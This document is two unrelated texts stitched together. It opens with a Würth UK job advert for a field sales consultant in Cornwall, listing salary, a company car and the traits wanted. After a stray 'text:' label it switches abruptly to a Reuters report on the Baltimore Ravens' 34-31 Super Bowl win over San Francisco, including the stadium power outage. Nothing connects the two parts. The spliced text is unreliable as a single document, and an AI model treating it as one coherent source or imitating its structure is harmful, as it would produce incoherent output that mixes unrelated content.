Field Sales Consultant – Wood Division – Penzance, Camborne, Redruth, Newquay, Truro, Falmouth
Basic Salary of £18k with generous bonus scheme, OTE of £21,600 to £30,000.
The Würth Group is a leading industrial consumable products provider with over 400 companies and a global workforce of 75,000. Our dedication to quality products and excellent customer service has earned us an enviable reputation and on-going growth. Our divisional Field Sales Consultants sell across four main industries; Automotive, Wood, Metal & Construction. Our aim is to drive sales and grow our business with existing customers and seek out opportunities through new customers.
We require people with excellent sales skills and proven success in goal setting and achievement or alternatively you may come from a relevant trade or customer facing background. As a sales consultant with Würth UK Ltd you will earn a competitive salary with generous bonuses on offer and be given full-training, support and tools required to build a successful career with Würth.
We Offer:
- Basic Salary of £18k with generous bonus scheme, OTE of £21,600 to £30,000.
- Fully expensed company car with upgrade after 3 years
- Tablet, Phone and various incentives, including overseas trips
- Ongoing support, training and career opportunities
You bring:
- Good relationship building skills
- A dynamic and enthusiastic personality
- Good work ethic and integrity
- Desire to succeed and achieve targets and goals
If this sounds like you and you would like to build a career with a modern, progressive company with an eye on the future, apply for this position by clicking the apply button . Be a part of the Würth success story; work in a positive environment alongside a multi-national team, and fast track your sales career.
Alert me to jobs like this.
Set up a job alert.


text:
NEW ORLEANS (Reuters) - The Baltimore Ravens reclaimed the greatest prize in North American sports after a dramatic, nail-biting 34-31 Super Bowl victory over the San Francisco 49ers on Sunday.
Inspired by their power-packed quarterback Joe Flacco, the Ravens survived a ferocious comeback from the 49ers and a bizarre power outage that stopped the game for more than half an hour to win their second Super Bowl.
John Harbaugh, the head coach of the Ravens, won the most anticipated sibling rivalry in American team sports against his younger brother Jim, who holds the equivalent job with the 49ers.
And Ray Lewis, the combative 37-year-old Ravens linebacker destined for the Hall of Fame, ended his 17 season career with a second Super Bowl title, 12 years after he won his first.
"What better way to go out?" said Lewis. "We did it! We did it!"
The game, at the Superdome in New Orleans, was preceded by one of the most poignant moments ever witnessed in the 47 editions of the Super Bowl when a choir from Sandy Hook Elementary School joined Jennifer Hudson in a stirring rendition of "America the Beautiful".
The 70,000 spectators rose to their feet, many with tears in their eyes, as the children sang, nearly two months after the deadly shooting rampage at their Connecticut school.
"Our wish is to demonstrate to America and the world that, "We are Sandy Hook and we choose love," the school said in a statement.
The action on the field was as wild as the parties that have taken place in Bourbon St in the days leading up to the game as the Ravens opened up a commanding lead.
With Flacco, who was named Most Valuable Player, calling the shots and wide receiver Jacoby Jones scoring two of the most spectacular touchdowns seen in a Super Bowl, the Ravens looked to be cruising to victory when they led 28-6 early in the third quarter.
Flacco made a great start, orchestrating a six-play, 51-yard drive on his team's first possession that culminated with a 13-yard touchdown pass to wide receiver Anquan Boldin.
In the second quarter, he threw a one-yard scoring pass to tight end Dennis Pitta, then a spectacular 56-yard scoring strike to Jones.
The Ravens led 21-6 when Beyonce came out to perform a stunning halftime show then opened the second half with a Super Bowl-record 108-yard kickoff return for a touchdown from Jones that will be shown on highlight reels for generations to come.
But just when it seemed the result was a foregone conclusion, a section of the lights at the Superdome, hosting the Super Bowl for the first time since Hurricane Katrina devastated the city in 2005, blacked out.
Play was stopped for 35 minutes while red-faced officials and technicians restored power. When it came back on, the game instantly took on a completely different complexion.
With Colin Kaepernick finally finding his targets and making inroads with the football in hand, San Francisco piled on 17 unanswered points.
When Kaepernick rushed for a touchdown himself with just 10 minutes to go in the final quarter, the margin was down to just two points and momentum was on their side.
But Justin Tucker kicked a 38-yard field goal to give his team a five-point lead and the 49ers failed to score the touchdown they needed to win, getting only a two-point safety, as the Ravens defended their line for dear life.
"Five yards short, all the work we did in the offseason, the whole entire season, everything came down to five yards and we weren't able to get it done," said dejected 49ers tackle Joe Staley.
Both team played down the impact of the power outage, saying it was the same for both teams, while the Harbaugh brothers embraced each other as confetti rained down from the roof after one of the most emotional nights in American sport.
"I just love him obviously. I think anybody out there who has a brother can understand what that is all about," John said.
"The meeting with Jim in the middle was probably the most difficult thing I have ever been associated with in my life. I am proud of him."
Editing by Amlan Chakraborty